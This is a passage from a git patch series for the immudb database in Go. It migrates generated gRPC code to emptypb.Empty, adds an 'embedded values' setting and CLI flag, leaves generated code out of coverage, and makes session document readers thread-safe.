Scan(context.Context, *ScanRequest) (*Entr func (UnimplementedImmuServiceServer) Count(context.Context, *KeyPrefix) (*EntryCount, error) { return nil, status.Errorf(codes.Unimplemented, "method Count not implemented") } -func (UnimplementedImmuServiceServer) CountAll(context.Context, *empty.Empty) (*EntryCount, error) { +func (UnimplementedImmuServiceServer) CountAll(context.Context, *emptypb.Empty) (*EntryCount, error) { return nil, status.Errorf(codes.Unimplemented, "method CountAll not implemented") } func (UnimplementedImmuServiceServer) TxById(context.Context, *TxRequest) (*Tx, error) { @@ -1238,13 +1238,13 @@ func (UnimplementedImmuServiceServer) History(context.Context, *HistoryRequest) func (UnimplementedImmuServiceServer) ServerInfo(context.Context, *ServerInfoRequest) (*ServerInfoResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ServerInfo not implemented") } -func (UnimplementedImmuServiceServer) Health(context.Context, *empty.Empty) (*HealthResponse, error) { +func (UnimplementedImmuServiceServer) Health(context.Context, *emptypb.Empty) (*HealthResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method Health not implemented") } -func (UnimplementedImmuServiceServer) DatabaseHealth(context.Context, *empty.Empty) (*DatabaseHealthResponse, error) { +func (UnimplementedImmuServiceServer) DatabaseHealth(context.Context, *emptypb.Empty) (*DatabaseHealthResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseHealth not implemented") } -func (UnimplementedImmuServiceServer) CurrentState(context.Context, *empty.Empty) (*ImmutableState, error) { +func (UnimplementedImmuServiceServer) CurrentState(context.Context, *emptypb.Empty) (*ImmutableState, error) { return nil, status.Errorf(codes.Unimplemented, "method CurrentState not implemented") } func (UnimplementedImmuServiceServer) SetReference(context.Context, *ReferenceRequest) (*TxHeader, error) { @@ -1262,10 +1262,10 @@ func (UnimplementedImmuServiceServer) VerifiableZAdd(context.Context, *Verifiabl func (UnimplementedImmuServiceServer) ZScan(context.Context, *ZScanRequest) (*ZEntries, error) { return nil, status.Errorf(codes.Unimplemented, "method ZScan not implemented") } -func (UnimplementedImmuServiceServer) CreateDatabase(context.Context, *Database) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CreateDatabase(context.Context, *Database) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabase not implemented") } -func (UnimplementedImmuServiceServer) CreateDatabaseWith(context.Context, *DatabaseSettings) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CreateDatabaseWith(context.Context, *DatabaseSettings) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateDatabaseWith not implemented") } func (UnimplementedImmuServiceServer) CreateDatabaseV2(context.Context, *CreateDatabaseRequest) (*CreateDatabaseResponse, error) { @@ -1280,7 +1280,7 @@ func (UnimplementedImmuServiceServer) UnloadDatabase(context.Context, *UnloadDat func (UnimplementedImmuServiceServer) DeleteDatabase(context.Context, *DeleteDatabaseRequest) (*DeleteDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteDatabase not implemented") } -func (UnimplementedImmuServiceServer) DatabaseList(context.Context, *empty.Empty) (*DatabaseListResponse, error) { +func (UnimplementedImmuServiceServer) DatabaseList(context.Context, *emptypb.Empty) (*DatabaseListResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DatabaseList not implemented") } func (UnimplementedImmuServiceServer) DatabaseListV2(context.Context, *DatabaseListRequestV2) (*DatabaseListResponseV2, error) { @@ -1289,13 +1289,13 @@ func (UnimplementedImmuServiceServer) DatabaseListV2(context.Context, *DatabaseL func (UnimplementedImmuServiceServer) UseDatabase(context.Context, *Database) (*UseDatabaseReply, error) { return nil, status.Errorf(codes.Unimplemented, "method UseDatabase not implemented") } -func (UnimplementedImmuServiceServer) UpdateDatabase(context.Context, *DatabaseSettings) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) UpdateDatabase(context.Context, *DatabaseSettings) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateDatabase not implemented") } func (UnimplementedImmuServiceServer) UpdateDatabaseV2(context.Context, *UpdateDatabaseRequest) (*UpdateDatabaseResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateDatabaseV2 not implemented") } -func (UnimplementedImmuServiceServer) GetDatabaseSettings(context.Context, *empty.Empty) (*DatabaseSettings, error) { +func (UnimplementedImmuServiceServer) GetDatabaseSettings(context.Context, *emptypb.Empty) (*DatabaseSettings, error) { return nil, status.Errorf(codes.Unimplemented, "method GetDatabaseSettings not implemented") } func (UnimplementedImmuServiceServer) GetDatabaseSettingsV2(context.Context, *DatabaseSettingsRequest) (*DatabaseSettingsResponse, error) { @@ -1304,7 +1304,7 @@ func (UnimplementedImmuServiceServer) GetDatabaseSettingsV2(context.Context, *Da func (UnimplementedImmuServiceServer) FlushIndex(context.Context, *FlushIndexRequest) (*FlushIndexResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method FlushIndex not implemented") } -func (UnimplementedImmuServiceServer) CompactIndex(context.Context, *empty.Empty) (*empty.Empty, error) { +func (UnimplementedImmuServiceServer) CompactIndex(context.Context, *emptypb.Empty) (*emptypb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CompactIndex not implemented") } func (UnimplementedImmuServiceServer) StreamGet(*KeyRequest, ImmuService_StreamGetServer) error { @@ -1346,7 +1346,7 @@ func (UnimplementedImmuServiceServer) SQLExec(context.Context, *SQLExecRequest) func (UnimplementedImmuServiceServer) SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method SQLQuery not implemented") } -func (UnimplementedImmuServiceServer) ListTables(context.Context, *empty.Empty) (*SQLQueryResult, error) { +func (UnimplementedImmuServiceServer) ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) { return nil, status.Errorf(codes.Unimplemented, "method ListTables not implemented") } func (UnimplementedImmuServiceServer) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) { @@ -1371,7 +1371,7 @@ func RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) { } func _ImmuService_ListUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1383,7 +1383,7 @@ func _ImmuService_ListUsers_Handler(srv interface{}, ctx context.Context, dec fu FullMethod: "/immudb.schema.ImmuService/ListUsers", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).ListUsers(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).ListUsers(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1515,7 +1515,7 @@ func _ImmuService_OpenSession_Handler(srv interface{}, ctx context.Context, dec } func _ImmuService_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1527,13 +1527,13 @@ func _ImmuService_CloseSession_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CloseSession", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CloseSession(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).CloseSession(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1545,7 +1545,7 @@ func _ImmuService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec fu FullMethod: "/immudb.schema.ImmuService/KeepAlive", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).KeepAlive(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).KeepAlive(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1569,7 +1569,7 @@ func _ImmuService_NewTx_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_Commit_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1581,13 +1581,13 @@ func _ImmuService_Commit_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: "/immudb.schema.ImmuService/Commit", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Commit(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).Commit(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_Rollback_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1599,7 +1599,7 @@ func _ImmuService_Rollback_Handler(srv interface{}, ctx context.Context, dec fun FullMethod: "/immudb.schema.ImmuService/Rollback", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Rollback(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).Rollback(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1659,7 +1659,7 @@ func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_Logout_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1671,7 +1671,7 @@ func _ImmuService_Logout_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: "/immudb.schema.ImmuService/Logout", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Logout(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).Logout(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1839,7 +1839,7 @@ func _ImmuService_Count_Handler(srv interface{}, ctx context.Context, dec func(i } func _ImmuService_CountAll_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1851,7 +1851,7 @@ func _ImmuService_CountAll_Handler(srv interface{}, ctx context.Context, dec fun FullMethod: "/immudb.schema.ImmuService/CountAll", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CountAll(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).CountAll(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -1947,7 +1947,7 @@ func _ImmuService_ServerInfo_Handler(srv interface{}, ctx context.Context, dec f } func _ImmuService_Health_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1959,13 +1959,13 @@ func _ImmuService_Health_Handler(srv interface{}, ctx context.Context, dec func( FullMethod: "/immudb.schema.ImmuService/Health", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Health(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).Health(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_DatabaseHealth_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1977,13 +1977,13 @@ func _ImmuService_DatabaseHealth_Handler(srv interface{}, ctx context.Context, d FullMethod: "/immudb.schema.ImmuService/DatabaseHealth", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DatabaseHealth(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).DatabaseHealth(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } func _ImmuService_CurrentState_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -1995,7 +1995,7 @@ func _ImmuService_CurrentState_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CurrentState", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CurrentState(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).CurrentState(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2199,7 +2199,7 @@ func _ImmuService_DeleteDatabase_Handler(srv interface{}, ctx context.Context, d } func _ImmuService_DatabaseList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -2211,7 +2211,7 @@ func _ImmuService_DatabaseList_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/DatabaseList", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DatabaseList(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).DatabaseList(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2289,7 +2289,7 @@ func _ImmuService_UpdateDatabaseV2_Handler(srv interface{}, ctx context.Context, } func _ImmuService_GetDatabaseSettings_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -2301,7 +2301,7 @@ func _ImmuService_GetDatabaseSettings_Handler(srv interface{}, ctx context.Conte FullMethod: "/immudb.schema.ImmuService/GetDatabaseSettings", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).GetDatabaseSettings(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).GetDatabaseSettings(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2343,7 +2343,7 @@ func _ImmuService_FlushIndex_Handler(srv interface{}, ctx context.Context, dec f } func _ImmuService_CompactIndex_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -2355,7 +2355,7 @@ func _ImmuService_CompactIndex_Handler(srv interface{}, ctx context.Context, dec FullMethod: "/immudb.schema.ImmuService/CompactIndex", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CompactIndex(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).CompactIndex(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } @@ -2653,7 +2653,7 @@ func _ImmuService_SQLQuery_Handler(srv interface{}, ctx context.Context, dec fun } func _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(empty.Empty) + in := new(emptypb.Empty) if err := dec(in); err != nil { return nil, err } @@ -2665,7 +2665,7 @@ func _ImmuService_ListTables_Handler(srv interface{}, ctx context.Context, dec f FullMethod: "/immudb.schema.ImmuService/ListTables", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).ListTables(ctx, req.(*empty.Empty)) + return srv.(ImmuServiceServer).ListTables(ctx, req.(*emptypb.Empty)) } return interceptor(ctx, in, info, handler) } diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index de3677575b..eb975ecf2a 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -64,6 +64,7 @@ func TestCreateDatabaseV2(t *testing.T) { MaxKeyLen: &schema.NullableUint32{Value: 32}, MaxValueLen: &schema.NullableUint32{Value: 64}, MaxTxEntries: &schema.NullableUint32{Value: 100}, + EmbeddedValues: &schema.NullableBool{Value: true}, ExcludeCommitTime: &schema.NullableBool{Value: false}, MaxActiveTransactions: &schema.NullableUint32{Value: 30}, MvccReadSetLimit: &schema.NullableUint32{Value: 1_000}, @@ -114,6 +115,7 @@ func TestCreateDatabaseV2(t *testing.T) { require.Equal(t, dbNullableSettings.MaxKeyLen.Value, res.Settings.MaxKeyLen.Value) require.Equal(t, dbNullableSettings.MaxValueLen.Value, res.Settings.MaxValueLen.Value) require.Equal(t, dbNullableSettings.MaxTxEntries.Value, res.Settings.MaxTxEntries.Value) + require.Equal(t, dbNullableSettings.EmbeddedValues.Value, res.Settings.EmbeddedValues.Value) require.Equal(t, dbNullableSettings.ExcludeCommitTime.Value, res.Settings.ExcludeCommitTime.Value) require.Equal(t, dbNullableSettings.MaxActiveTransactions.Value, res.Settings.MaxActiveTransactions.Value) require.Equal(t, dbNullableSettings.MvccReadSetLimit.Value, res.Settings.MvccReadSetLimit.Value) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index e6c42f4fa4..f601de2fd7 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -272,6 +272,7 @@ func (opts *dbOptions) storeOptions() *store.Options { WithMaxKeyLen(opts.MaxKeyLen). WithMaxValueLen(opts.MaxValueLen). WithMaxTxEntries(opts.MaxTxEntries). + WithEmbeddedValues(opts.EmbeddedValues). WithWriteTxHeaderVersion(opts.WriteTxHeaderVersion). WithMaxActiveTransactions(opts.MaxActiveTransactions). WithMVCCReadSetLimit(opts.MVCCReadSetLimit). @@ -315,10 +316,11 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin SyncFrequency: &schema.NullableMilliseconds{Value: int64(opts.SyncFrequency)}, - FileSize: &schema.NullableUint32{Value: uint32(opts.FileSize)}, - MaxKeyLen: &schema.NullableUint32{Value: uint32(opts.MaxKeyLen)}, - MaxValueLen: &schema.NullableUint32{Value: uint32(opts.MaxValueLen)}, - MaxTxEntries: &schema.NullableUint32{Value: uint32(opts.MaxTxEntries)}, + FileSize: &schema.NullableUint32{Value: uint32(opts.FileSize)}, + MaxKeyLen: &schema.NullableUint32{Value: uint32(opts.MaxKeyLen)}, + MaxValueLen: &schema.NullableUint32{Value: uint32(opts.MaxValueLen)}, + MaxTxEntries: &schema.NullableUint32{Value: uint32(opts.MaxTxEntries)}, + EmbeddedValues: &schema.NullableBool{Value: opts.EmbeddedValues}, ExcludeCommitTime: &schema.NullableBool{Value: opts.ExcludeCommitTime}, @@ -435,6 +437,11 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul "max number of entries per transaction", opts.Database) } + if settings.EmbeddedValues != nil { + return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, + "embedded values", opts.Database) + } + if settings.IndexSettings != nil && settings.IndexSettings.MaxNodeSize != nil { return fmt.Errorf("%w: %s can not be changed after database creation ('%s')", ErrIllegalArguments, "max node size", opts.Database) } @@ -538,6 +545,10 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul opts.MaxTxEntries = int(settings.MaxTxEntries.Value) } + if settings.EmbeddedValues != nil { + opts.EmbeddedValues = settings.EmbeddedValues.Value + } + if settings.ExcludeCommitTime != nil { opts.ExcludeCommitTime = settings.ExcludeCommitTime.Value } @@ -885,6 +896,7 @@ func (s *ImmuServer) logDBOptions(database string, opts *dbOptions) { s.Logger.Infof("%s.MaxKeyLen: %v", database, opts.MaxKeyLen) s.Logger.Infof("%s.MaxValueLen: %v", database, opts.MaxValueLen) s.Logger.Infof("%s.MaxTxEntries: %v", database, opts.MaxTxEntries) + s.Logger.Infof("%s.EmbeddedValues: %v", database, opts.EmbeddedValues) s.Logger.Infof("%s.ExcludeCommitTime: %v", database, opts.ExcludeCommitTime) s.Logger.Infof("%s.MaxActiveTransactions: %v", database, opts.MaxActiveTransactions) s.Logger.Infof("%s.MVCCReadSetLimit: %v", database, opts.MVCCReadSetLimit) From b1e89dcaebc2e6f41e70192cfc43f6adb119788c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 5 Jun 2023 09:55:53 -0300 Subject: [PATCH 0590/1062] chore(cmd/immuadmin): flag to specify the usage of embedded values Signed-off-by: Jeronimo Irazabal --- cmd/immuadmin/command/database.go | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 439daacf3e..ea8518d150 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -34,6 +34,7 @@ import ( func addDbUpdateFlags(c *cobra.Command) { c.Flags().Bool("exclude-commit-time", false, "do not include server-side timestamps in commit checksums, useful when reproducibility is a desired feature") + c.Flags().Bool("embedded-values", true, "store values in the tx header") c.Flags().Bool("replication-enabled", false, "set database as a replica") // deprecated, use replication-is-replica instead c.Flags().Bool("replication-is-replica", false, "set database as a replica") c.Flags().Bool("replication-sync-enabled", false, "enable synchronous replication") @@ -425,6 +426,11 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } + ret.EmbeddedValues, err = condBool("embedded-values") + if err != nil { + return nil, err + } + ret.ReplicationSettings.Replica, err = condBool("replication-is-replica") if err != nil { return nil, err @@ -551,6 +557,10 @@ func databaseNullableSettingsStr(settings *schema.DatabaseNullableSettings) stri propertiesStr = append(propertiesStr, fmt.Sprintf("exclude-commit-time: %v", settings.ExcludeCommitTime.GetValue())) } + if settings.EmbeddedValues != nil { + propertiesStr = append(propertiesStr, fmt.Sprintf("embedded-values: %v", settings.EmbeddedValues.GetValue())) + } + if settings.WriteTxHeaderVersion != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("write-tx-header-version: %d", settings.WriteTxHeaderVersion.GetValue())) } From 33f0162d83711675dbda61f587f9e53e06762c2d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 5 Jun 2023 11:33:32 -0300 Subject: [PATCH 0591/1062] chore: exclude generated code from coverage Signed-off-by: Jeronimo Irazabal --- .github/workflows/pull.yml | 2 +- .github/workflows/push.yml | 2 +- Makefile | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 9cf6782309..849211cfbf 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -150,7 +150,7 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole --tags minio || true + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel --tags minio || true cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 1486455fa2..b1b67de3c2 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -365,7 +365,7 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version --tags minio || true + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel --tags minio || true cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} diff --git a/Makefile b/Makefile index 14aa455d67..d0fc90b0ed 100644 --- a/Makefile +++ b/Makefile @@ -153,7 +153,7 @@ test-client: # To view coverage as HTML run: go tool cover -html=coverage.txt .PHONY: coverage coverage: - go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version + go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel cat coverage.txt | grep -v "schema.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out $(GO) tool cover -func coverage.out From fc162e7be12dccac2cfdeee4ae84749eb36f5b8d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 5 Jun 2023 11:50:20 -0300 Subject: [PATCH 0592/1062] fix(pkg/server): close document readers before cancelling txs Signed-off-by: Jeronimo Irazabal --- pkg/server/sessions/manager.go | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index d2860ca5f4..dfaf7255d7 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -144,21 +144,18 @@ func (sm *manager) deleteSession(sessionID string) error { } merr := multierr.NewMultiErr() - if err := sess.RollbackTransactions(); err != nil { + + if err := sess.CloseDocumentReaders(); err != nil { merr.Append(err) } - if err := sess.CloseDocumentReaders(); err != nil { + if err := sess.RollbackTransactions(); err != nil { merr.Append(err) } - err := merr.Reduce() delete(sm.sessions, sessionID) - if err != nil { - return err - } - return nil + return merr.Reduce() } func (sm *manager) UpdateSessionActivityTime(sessionID string) { From 0091b77d3c718b9eb59df3800cfca1e2d1d9e9ba Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 5 Jun 2023 12:13:32 -0300 Subject: [PATCH 0593/1062] fix(pkg/server): thread-safe doc reader during session handling Signed-off-by: Jeronimo Irazabal --- pkg/server/sessions/session.go | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 1a8be4d71a..27c3864ccd 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -106,6 +106,9 @@ func (s *Session) removeTransaction(transactionID string) error { } func (s *Session) CloseDocumentReaders() error { + s.mux.Lock() + defer s.mux.Unlock() + merr := multierr.NewMultiErr() searchIDs := make([]string, 0) @@ -239,11 +242,17 @@ func (s *Session) GetCreationTime() time.Time { } func (s *Session) SetPaginatedDocumentReader(searchID string, reader *PaginatedDocumentReader) { + s.mux.Lock() + defer s.mux.Unlock() + // add the reader to the documentReaders map s.documentReaders.Put(searchID, reader) } func (s *Session) GetDocumentReader(searchID string) (*PaginatedDocumentReader, error) { + s.mux.RLock() + defer s.mux.RUnlock() + // get the io.Reader object for the specified searchID val, err := s.documentReaders.Get(searchID) if err != nil { @@ -275,10 +284,16 @@ func (s *Session) deleteDocumentReader(searchID string) error { } func (s *Session) DeleteDocumentReader(searchID string) error { + s.mux.Lock() + defer s.mux.Unlock() + return s.deleteDocumentReader(searchID) } func (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32, lastPageSize uint32) error { + s.mux.Lock() + defer s.mux.Unlock() + // get the io.Reader object for the specified searchID val, err := s.documentReaders.Get(searchID) if err != nil { @@ -293,5 +308,8 @@ func (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32 } func (s *Session) GetDocumentReadersCount() int { + s.mux.RLock() + defer s.mux.RUnlock() + return s.documentReaders.EntriesCount() } From 6b07d3ec9a141d792cb0e3ac141440bfcff4f9b6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 5 Jun 2023 13:40:11 -0300 Subject: [PATCH 0594/1062] chore: exclude generated code from coverage Signed-off-by: Jeronimo Irazabal --- .github/workflows/pull.yml | 2 +- .github/workflows/push.yml | 2 +- Makefile | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 849211cfbf..3bb58f75ef 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -150,7 +150,7 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel --tags minio || true + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,httpclient --tags minio || true cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index b1b67de3c2..95ca38f33b 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -365,7 +365,7 @@ jobs: export 